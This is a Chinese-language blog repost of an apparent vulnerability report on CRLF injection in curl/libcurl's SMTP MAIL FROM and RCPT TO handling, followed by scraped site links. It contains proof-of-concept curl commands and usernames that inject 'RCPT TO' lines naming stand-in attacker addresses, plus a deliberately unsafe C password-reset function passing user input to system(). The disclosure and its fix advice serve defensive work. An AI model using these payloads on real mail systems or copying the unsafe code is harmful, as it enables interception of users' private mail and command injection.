当前位置: 首页 > news >正文

curl/libcurl SMTP CRLF注入漏洞深度分析

SMTP CRLF Injection in curl/libcurl via MAIL FROM/RCPT TO parameters

漏洞ID: CURL-SMTP-CRLF-2024

CWE-93: CRLF序列不当处理

执行摘要

curl/libcurl在其SMTP实现中存在CRLF注入漏洞,攻击者可通过在邮箱地址中包含CR(\r)和LF(\n)字符来注入任意SMTP命令。

受影响版本

  • curl 8.17.0(最新稳定版)- 确认存在漏洞
  • 早期版本可能受影响

概念验证

# 易受攻击的命令 - 添加未授权收件人
curl --url "smtp://localhost:2525" \--mail-from $'legit@company.com\r\nRCPT TO:<attacker@evil.com>' \--mail-rcpt "employee@company.com" \--upload-file message.txt

技术细节

漏洞代码位置: lib/smtp.c(第838-846行)

result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s", from,  // ← 无CRLF验证auth ? " AUTH=" : "", auth ? auth : "", size ? " SIZE=" : "", size ? size : "", utf8 ? " SMTPUTF8" : "");

原始网络分析证据:

HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0a
TEXT: 'MAIL FROM:<final@test.com\r\nRCPT TO:proof@evil.com>\r\n'

复现环境

  • 操作系统:Linux
  • curl版本:8.17.0
  • Python:3.11(用于测试服务器)
  • 测试方法:本地SMTP服务器分析

影响

  • 信息泄露:未授权邮件复制
  • 隐私侵犯:秘密邮件拦截
  • 访问控制绕过:规避应用级限制
  • 任意命令注入:可能进一步操纵SMTP协议

修复建议

  • 输入验证:拒绝包含控制字符的邮箱地址
  • 字符转义:正确转义CR/LF序列
  • 库补丁:实现类似于lib/cookie.c的验证

参考资料

  • CWE-93: https://cwe.mitre.org/data/definitions/93.html
  • curl安全:https://curl.se/docs/security.html

实际利用演示

步骤1:易受攻击的应用代码

// 示例:Web应用中的密码重置功能
void send_password_reset(const char *username) {char email[256];snprintf(email, sizeof(email), "%s@company.com", username);// 不安全:用户输入直接传递给curlchar command[512];snprintf(command, sizeof(command),"curl --mail-from 'noreply@company.com' ""--mail-rcpt '%s' ""--upload-file reset_email.txt",email);system(command);
}

步骤2:攻击者利用

# 攻击者注册用户名:"admin\r\nRCPT TO:<hacker@evil.com>"
# 应用构建:admin\r\nRCPT TO:<hacker@evil.com>@company.com# 生成的curl命令:
curl --mail-from 'noreply@company.com' \--mail-rcpt 'admin\r\nRCPT TO:<hacker@evil.com>@company.com' \--upload-file reset_email.txt

步骤3:SMTP会话结果

MAIL FROM:<noreply@company.com>
RCPT TO:<admin
RCPT TO:<hacker@evil.com>@company.com>  ← 注入的命令!
DATA
Subject: Password Reset
Your reset token: ABC123

影响: 攻击者接收所有用户的密码重置邮件!

技术对比

在lib/cookie.c中:

static bool invalid_octets(const char *ptr) {// 明确拒绝CR/LF以确保安全while(*ptr) {if(((*ptr != 9) && (*ptr < 0x20)) || (*ptr == 0x7f))return TRUE;  // ← 安全ptr++;}return FALSE;
}

在lib/smtp.c中:

// 无验证 - 允许CR/LF注入
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);
// ↑ 易受攻击

这种不一致性给信任curl安全处理用户输入的应用程序带来了真实的安全风险。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.jsqmd.com/news/45924/

相关文章:

  • 2025年11月氨基酸水溶肥,花芽分化氨基酸水溶肥,低温酶解氨基酸水溶肥厂家最新推荐,权威测评与种植选择指南!
  • 2025年11月沣硕40+中微量元素水溶肥,防裂果中微量元素水溶肥,促花稳果中微量元素水溶肥厂家推荐:规模化种植适配品牌
  • 4.6.4版本闪亮登场~赶快了解一下新内容吧
  • 2025年11月花芽分化氨基酸水溶肥,膨果上色氨基酸水溶肥,高含量氨基酸水溶肥厂家推荐,实测促产效果与品牌解析!
  • XMind for Mac v24.01.dmg 安装教程(Mac思维导图软件下载安装步骤)
  • 自动类型推导、智能指针、Lambda表达式和函数包装器 - 详解
  • RocketMQ 概念介绍 - 邓维
  • fio linux
  • find linux 文件
  • Docker主机网络优化咋做
  • C语言小程序在日常生活中的应用实例
  • Docker桥接网络能实现跨主机吗
  • fastdb c++如何优化存储结构
  • Docker客户端支持哪些存储驱动
  • c语言实现linux命令
  • discuz使用mysql有哪些注意事项
  • discuz与mysql数据迁移怎样操作
  • c语言在linux
  • dns设置linux
  • c语言 linux
  • dns 服务器 linux
  • DataTable SQL怎样处理大数据量
  • centos redis的最佳实践案例分享
  • DataTable SQL如何进行数据更新
  • debug linux
  • db2安装linux
  • 逆转裁判选择章节与故事模式支持获取成就
  • Cassandra数据存储如何保障安全
  • [ARC105E] Keep Graph Disconnected 分析
  • c#怎么获取服务器ip